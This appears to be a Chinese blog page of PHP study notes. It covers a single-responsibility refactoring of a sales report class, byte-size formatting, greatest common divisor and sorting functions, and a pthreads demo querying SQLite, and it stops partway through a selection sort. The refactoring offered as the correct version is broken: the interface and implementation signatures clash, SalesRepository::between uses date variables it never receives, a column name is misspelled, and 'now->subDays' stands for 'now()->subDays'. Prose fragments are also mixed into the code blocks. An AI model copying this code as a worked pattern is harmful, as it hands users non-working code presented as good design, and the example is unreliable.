            <h3 id="S-O-I-L-D-之单一职责"><a href="#S-O-I-L-D-之单一职责" class="headerlink" title="S.O.I.L.D 之单一职责"></a>S.O.I.L.D 之单一职责</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">namespace Acme\Reporting;</span><br><span class="line"></span><br><span class="line">use Auth;</span><br><span class="line">use DB;</span><br><span class="line">use Exception;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SalesReporter</span></span></span><br><span class="line"><span class="class"></span>&#123;   </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取某个时间段的销售总额</span></span><br><span class="line"><span class="comment">     * </span></span><br><span class="line"><span class="comment">     * @param  $startDate</span></span><br><span class="line"><span class="comment">     * @param  $endDate  </span></span><br><span class="line"><span class="comment">     * </span></span><br><span class="line"><span class="comment">     * @return string</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">between</span>(<span class="params">$startDate, $endDate</span>) : <span class="title">string</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (! Auth::check()) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> Exception(<span class="string">'Authentication required for reporting'</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        $sales = $<span class="keyword">this</span>-&gt;queryDBForSalesBetween($startDate, $endDate);</span><br><span class="line">        <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;format($sales);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 查询销售报表数据</span></span><br><span class="line"><span class="comment">     * </span></span><br><span class="line"><span class="comment">     * @param  $startDate </span></span><br><span class="line"><span class="comment">     * @param  $endDate  </span></span><br><span class="line"><span class="comment">     *  </span></span><br><span class="line"><span class="comment">     * @return float         </span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    protected <span class="function"><span class="keyword">function</span> <span class="title">queryDBForSalesBetween</span>(<span class="params">$startDate, $endDate</span>) : <span class="title">float</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> DB::table(<span class="string">'sales'</span>)-&gt;whereBetween(<span class="string">'created_at'</span>, [$startDate, $endDate])-&gt;sum(<span class="string">'charge'</span>) / <span class="number">100</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 数据展示</span></span><br><span class="line"><span class="comment">     * </span></span><br><span class="line"><span class="comment">     * @param  $sales</span></span><br><span class="line"><span class="comment">     * @return string     </span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    protected <span class="function"><span class="keyword">function</span> <span class="title">format</span>(<span class="params">$sales</span>) : <span class="title">string</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">"&lt;h1&gt;Sales: $sales&lt;/h1&gt;"</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">测试</span><br><span class="line"></span><br><span class="line">$report = <span class="keyword">new</span> Acme\Reporting\SalesReporter();</span><br><span class="line">$report-&gt;between(</span><br><span class="line">    now()-&gt;subDays(<span class="number">10</span>), </span><br><span class="line">    now()</span><br><span class="line">);</span><br><span class="line">该例子明显违反了单一职责:</span><br><span class="line"></span><br><span class="line">授权方式发生变化时，如 API 授权，需要改动该类</span><br><span class="line">当数据库层发生变化时候，如使用 Redis 时，需要改动该类</span><br><span class="line">当展示方式发生变化时，需要改动该类</span><br><span class="line">正面示例</span><br><span class="line"></span><br><span class="line">对于上述的例子，应当作出如下的改动：</span><br><span class="line"></span><br><span class="line">不需要关心用户授权，用户授权与本类的职责无关</span><br><span class="line">数据层应当剥离出来</span><br><span class="line">展示层应当剥离出来</span><br><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line"><span class="comment">// 展示层接口</span></span><br><span class="line">interface SalesOutputInterface &#123;</span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">output</span>(<span class="params"></span>);</span></span><br><span class="line"><span class="function">&#125;</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">// 展示层实现</span></span><br><span class="line"><span class="function"><span class="title">class</span> <span class="title">HtmlOutput</span> <span class="title">implements</span> <span class="title">SalesOutputInterface</span> </span>&#123;</span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">output</span>(<span class="params">$sales</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        echo <span class="string">"&lt;h1&gt;&#123;$sales&#125;&lt;/h1&gt;"</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 数据层</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SalesRepository</span> </span>&#123;</span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">between</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> DB::table(<span class="string">'sales'</span>)-&gt;whereBetween(<span class="string">'create_at'</span>, [$startDate, $endDate])-&gt;sum(<span class="string">'charge'</span>) / <span class="number">100</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 职责类</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SalsReporter</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">    public $repo;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$repo</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;repo = $repo;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">between</span>(<span class="params">$startDate, $endDate, SalesOutputInterface $formater</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $sales = $<span class="keyword">this</span>-&gt;repo-&gt;between($startDate, $endDate);</span><br><span class="line">        $formater-&gt;output($sales);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">测试</span><br><span class="line"></span><br><span class="line">$report = <span class="keyword">new</span> SalsReporter(<span class="keyword">new</span> SalesRepository);</span><br><span class="line">$report-&gt;between(</span><br><span class="line">    now-&gt;subDays(<span class="number">10</span>), </span><br><span class="line">    now(),</span><br><span class="line">    <span class="keyword">new</span> HtmlOutput</span><br><span class="line">);</span><br><span class="line">结合 Laravel 的依赖注入，可以进一步简化https:<span class="comment">//learnku.com/articles/27923#topnav</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SalsReporter</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">    public $repo;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">SalesRepository $repo</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;repo = $repo;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">between</span>(<span class="params">$startDate, $endDate, SalesOutputInterface $formater</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $sales = $<span class="keyword">this</span>-&gt;repo-&gt;between($startDate, $endDate);</span><br><span class="line">        $formater-&gt;output($sales);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="字节转换"><a href="#字节转换" class="headerlink" title="字节转换"></a>字节转换</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 转化内存信息https://github.com/yiranzai/php-tools</span></span><br><span class="line"><span class="comment">     * @param      $bytes</span></span><br><span class="line"><span class="comment">     * @param bool $binaryPrefix</span></span><br><span class="line"><span class="comment">     * @return string</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">getNiceFileSize</span>(<span class="params">int $bytes, bool $binaryPrefix = true</span>): <span class="title">string</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> ($binaryPrefix) &#123;</span><br><span class="line">            $unit = array(<span class="string">'B'</span>, <span class="string">'KiB'</span>, <span class="string">'MiB'</span>, <span class="string">'GiB'</span>, <span class="string">'TiB'</span>, <span class="string">'PiB'</span>);</span><br><span class="line">            <span class="keyword">if</span> ($bytes === <span class="number">0</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="string">'0 '</span> . $unit[<span class="number">0</span>];</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> @round($bytes / (<span class="number">1024</span> ** ($i = floor(log($bytes, <span class="number">1024</span>)))), <span class="number">2</span>) . <span class="string">' '</span> . ($unit[(int)$i] ?? <span class="string">'B'</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        $unit = array(<span class="string">'B'</span>, <span class="string">'KB'</span>, <span class="string">'MB'</span>, <span class="string">'GB'</span>, <span class="string">'TB'</span>, <span class="string">'PB'</span>);</span><br><span class="line">        <span class="keyword">if</span> ($bytes === <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="string">'0 '</span> . $unit[<span class="number">0</span>];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> @round($bytes / (<span class="number">1000</span> ** ($i = floor(log($bytes, <span class="number">1000</span>)))), <span class="number">2</span>) . <span class="string">' '</span> . ($unit[(int)$i] ?? <span class="string">'B'</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">         * 四舍五入 格式化除法</span></span><br><span class="line"><span class="comment">         * @param     $divisor</span></span><br><span class="line"><span class="comment">         * @param     $divided</span></span><br><span class="line"><span class="comment">         * @param int $scale</span></span><br><span class="line"><span class="comment">         * @return int|string</span></span><br><span class="line"><span class="comment">         */</span></span><br><span class="line">        public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">formatDiv</span>(<span class="params">$divisor, $divided, int $scale = <span class="number">2</span></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="keyword">if</span> (empty((int)$divided)) &#123;</span><br><span class="line">                <span class="keyword">return</span> sprintf(<span class="string">'%.'</span> . $scale . <span class="string">'f'</span>, <span class="number">0</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> $scale === <span class="number">0</span> ?</span><br><span class="line">                bcdiv($divisor, $divided) :</span><br><span class="line">                sprintf(<span class="string">'%.'</span> . $scale . <span class="string">'f'</span>, bcdiv($divisor, $divided, $scale + <span class="number">1</span>));</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">/**</span></span><br><span class="line"><span class="comment">             * 求两个数的最大公约数</span></span><br><span class="line"><span class="comment">             *</span></span><br><span class="line"><span class="comment">             * @param $a</span></span><br><span class="line"><span class="comment">             * @param $b</span></span><br><span class="line"><span class="comment">             * @return int</span></span><br><span class="line"><span class="comment">             */</span></span><br><span class="line">            public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">gcd</span>(<span class="params">int $a, int $b</span>): <span class="title">int</span></span></span><br><span class="line"><span class="function">            </span>&#123;</span><br><span class="line">                <span class="keyword">if</span> ($a === <span class="number">0</span> || $b === <span class="number">0</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span> abs(max(abs($a), abs($b)));</span><br><span class="line">                &#125;</span><br><span class="line">        </span><br><span class="line">                $r = $a % $b;</span><br><span class="line">                <span class="keyword">return</span> ($r !== <span class="number">0</span>) ?</span><br><span class="line">                    self::gcd($b, $r) :</span><br><span class="line">                    abs($b);</span><br><span class="line">            &#125;</span><br><span class="line">        </span><br><span class="line">            <span class="comment">/**</span></span><br><span class="line"><span class="comment">             * 求一个数组的最大公约数</span></span><br><span class="line"><span class="comment">             *</span></span><br><span class="line"><span class="comment">             * @param array $array</span></span><br><span class="line"><span class="comment">             * @param int   $a</span></span><br><span class="line"><span class="comment">             * @return int</span></span><br><span class="line"><span class="comment">             */</span></span><br><span class="line">            public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">gcdArray</span>(<span class="params">array $array, $a = <span class="number">0</span></span>): <span class="title">int</span></span></span><br><span class="line"><span class="function">            </span>&#123;</span><br><span class="line">                $b = array_pop($array);</span><br><span class="line">                <span class="keyword">return</span> ($b === <span class="literal">null</span>) ?</span><br><span class="line">                    (int)$a :</span><br><span class="line">                    self::gcdArray($array, <span class="attr">self</span>::gcd($a, $b));</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">/**</span></span><br><span class="line"><span class="comment">                 * 每次都取中间的那个数，遍历数组，比它大放右边，比它小放左边  快速排序</span></span><br><span class="line"><span class="comment">                 *</span></span><br><span class="line"><span class="comment">                 * @param array $array</span></span><br><span class="line"><span class="comment">                 * @return array</span></span><br><span class="line"><span class="comment">                 */</span></span><br><span class="line">                public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">quickSort</span>(<span class="params">array $array</span>): <span class="title">array</span></span></span><br><span class="line"><span class="function">                </span>&#123;</span><br><span class="line">                    $len = count($array);</span><br><span class="line">                    <span class="keyword">if</span> ($len &lt;= <span class="number">1</span>) &#123;</span><br><span class="line">                        <span class="keyword">return</span> $array;</span><br><span class="line">                    &#125;</span><br><span class="line">                    $m      = $len &gt;&gt; <span class="number">1</span>;<span class="comment">//取中间值 50&gt;&gt;1 25 51&gt;&gt;1 25 52&gt;&gt;1 26</span></span><br><span class="line">                    $mValue = $array[$m];</span><br><span class="line">                    $left   = $right = [];</span><br><span class="line">                    foreach ($array <span class="keyword">as</span> $key =&gt; $iValue) &#123;</span><br><span class="line">                        <span class="keyword">if</span> ($key === $m) &#123;</span><br><span class="line">                            <span class="keyword">continue</span>;</span><br><span class="line">                        &#125;</span><br><span class="line">                        <span class="keyword">if</span> ($iValue &lt; $mValue) &#123;</span><br><span class="line">                            $left[] = $iValue;</span><br><span class="line">                        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                            $right[] = $iValue;</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;</span><br><span class="line">                    <span class="keyword">return</span> array_merge(self::quickSort($left), [$mValue], <span class="attr">self</span>::quickSort($right));</span><br><span class="line">                &#125;</span><br><span class="line">                </span><br><span class="line">                public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">quick</span>(<span class="params">$arr</span>)</span>&#123;</span><br><span class="line">                        <span class="keyword">if</span>(count($arr)&lt;=<span class="number">1</span>)&#123; <span class="comment">//如果数组根本就一个元素就直接返回 不用在排序咯</span></span><br><span class="line">                            <span class="keyword">return</span> $arr;</span><br><span class="line">                        &#125;</span><br><span class="line">                </span><br><span class="line">                        $k=$arr[<span class="number">0</span>];<span class="comment">//定义一个初始要排序的值 默认为数组第一个</span></span><br><span class="line">                        $x=array();<span class="comment">//定义比要排序的值 小的数组块</span></span><br><span class="line">                        $y=array();<span class="comment">//定义比要排序的值 大的数组块</span></span><br><span class="line">                        $_size=count($arr);<span class="comment">//统计数组的大小</span></span><br><span class="line">                        <span class="keyword">for</span>($i=<span class="number">1</span>;$i&lt;$_size;$i++)&#123;<span class="comment">//循环数组 记住这边要从索引1 开始</span></span><br><span class="line">                            <span class="keyword">if</span>($arr[$i]&lt;=$k)&#123;<span class="comment">//如果当前的值小于 要排序的值</span></span><br><span class="line">                                $x[]=$arr[$i];<span class="comment">//就把小于的值放到 小的数组块中</span></span><br><span class="line">                            &#125;elseif($arr[$i]&gt;$k)&#123;<span class="comment">//如果当前的值大于 要排序的值</span></span><br><span class="line">                                $y[]=$arr[$i];<span class="comment">//就把大于的值放到 大的数组块中</span></span><br><span class="line">                            &#125;</span><br><span class="line">                        &#125;</span><br><span class="line">                        $x=Sort::quick($x);<span class="comment">//依次递归执行 这样就会得到小的数组块</span></span><br><span class="line">                        $y=Sort::quick($y);<span class="comment">//依次递归执行 这样就会得到大的数组块</span></span><br><span class="line">                        <span class="keyword">return</span> array_merge($x,array($k),$y);<span class="comment">//最后在合并下 小的模块+中间的模块【初始要排序的值】+大的模块 就ok~</span></span><br><span class="line">                    &#125;</span><br></pre></td></tr></table></figure>
<h3 id="php多线程"><a href="#php多线程" class="headerlink" title="php多线程"></a>php多线程</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 继承 Thread 的类具有创建线程的能力</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Request</span> <span class="keyword">extends</span> <span class="title">Thread</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    private $sql;</span><br><span class="line"></span><br><span class="line">    private $dsn;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$sql, $dsn</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;sql = $sql;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;dsn = $dsn;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">run</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $db = <span class="keyword">new</span> PDO($<span class="keyword">this</span>-&gt;dsn);</span><br><span class="line"></span><br><span class="line">        $stat1 = $db-&gt;query($<span class="keyword">this</span>-&gt;sql);</span><br><span class="line"></span><br><span class="line">        $result = $stat1-&gt;fetchAll(PDO::FETCH_ASSOC);</span><br><span class="line"></span><br><span class="line">        print_r($result);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$dsn = <span class="string">'sqlite:/tmp/pselect.db'</span>;</span><br><span class="line">$db = <span class="keyword">new</span> PDO($dsn);</span><br><span class="line"></span><br><span class="line">$db-&gt;exec(<span class="string">'create table users(id int, name varchar(255))'</span>);</span><br><span class="line">$db-&gt;exec(<span class="string">'create table books(id int, name varchar(255))'</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//$db-&gt;exec("insert into users(id, name) values(1, '张三')");</span></span><br><span class="line"><span class="comment">//$db-&gt;exec("insert into users(id, name) values(2, '李四')");</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//$db-&gt;exec("insert into books(id, name) values(1, '三国')");</span></span><br><span class="line"><span class="comment">//$db-&gt;exec("insert into books(id, name) values(2, '水浒')");</span></span><br><span class="line"></span><br><span class="line">$sql = [</span><br><span class="line">    <span class="string">'select * from users'</span>,</span><br><span class="line">    <span class="string">'select * from books'</span>,</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line"><span class="comment">//$stat1 = $db-&gt;query($sql[0]);</span></span><br><span class="line"><span class="comment">//$stat2 = $db-&gt;query($sql[1]);</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//$results1 = $stat1-&gt;fetchAll(PDO::FETCH_ASSOC);</span></span><br><span class="line"><span class="comment">//$results2 = $stat2-&gt;fetchAll(PDO::FETCH_ASSOC);</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//print_r($results1);</span></span><br><span class="line"><span class="comment">//print_r($results2);</span></span><br><span class="line"></span><br><span class="line">$arr = [];</span><br><span class="line"><span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; <span class="number">2</span>; $i++) &#123;</span><br><span class="line">    $request = <span class="keyword">new</span> Request($sql[$i], $dsn);</span><br><span class="line">    $arr[$i] = $request;</span><br><span class="line">    <span class="comment">// 创建新线程，随后线程会执行 run 方法</span></span><br><span class="line">    <span class="keyword">if</span> (! $request-&gt;start()) &#123;</span><br><span class="line">        die(<span class="string">"Start thread failed\n"</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    echo <span class="string">"Thread(&#123;$i&#125;) started\n"</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; <span class="number">2</span>; $i++) &#123;</span><br><span class="line">    <span class="comment">// join 是阻塞的，所以脚本运行时间取决于耗时最长的线程</span></span><br><span class="line">    <span class="keyword">if</span> (! $arr[$i]-&gt;join()) &#123;</span><br><span class="line">        die(<span class="string">"Join failed\n"</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">https:<span class="comment">//learnku.com/articles/26812</span></span><br><span class="line">public <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">select</span>(<span class="params">$array</span>)</span>&#123;</span><br><span class="line">        $count=count($array);<span class="comment">//取出数组的总长度</span></span><br><span class="line">        <span class="keyword">for</span>($i=<span class="number">0</span>;$i&lt;$count<span class="number">-1</span>;$i++)&#123;<span class="comment">//外部循环 依次循环</span></span><br><span class="line">            <span class="comment">/* 找出最小的元素 开始*/</span></span><br><span class="line">            $min=$i;<span class="comment">//查找到最低的元素</span></span><br><span class="line">            <span class="keyword">for</span>($j=$i+<span class="number">1</span>;$j&lt;$count;$j++)&#123;</span><br><span class="line">                <span class="comment">//由小到大排列</span></span><br><span class="line">                <span class="keyword">if</span>($array[$min]&gt;$array[$j])&#123;<span class="comment">//如果当前的元素比后面的元素大</span></span><br><span class="line">                    $min=$j;<span class="comment">//就把最小的元素指针替换成后面元素</span></span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="comment">/* 找出最小的元素 结束*/</span>选择排序</span><br><span class="line"></span><br><span class="line">            <span 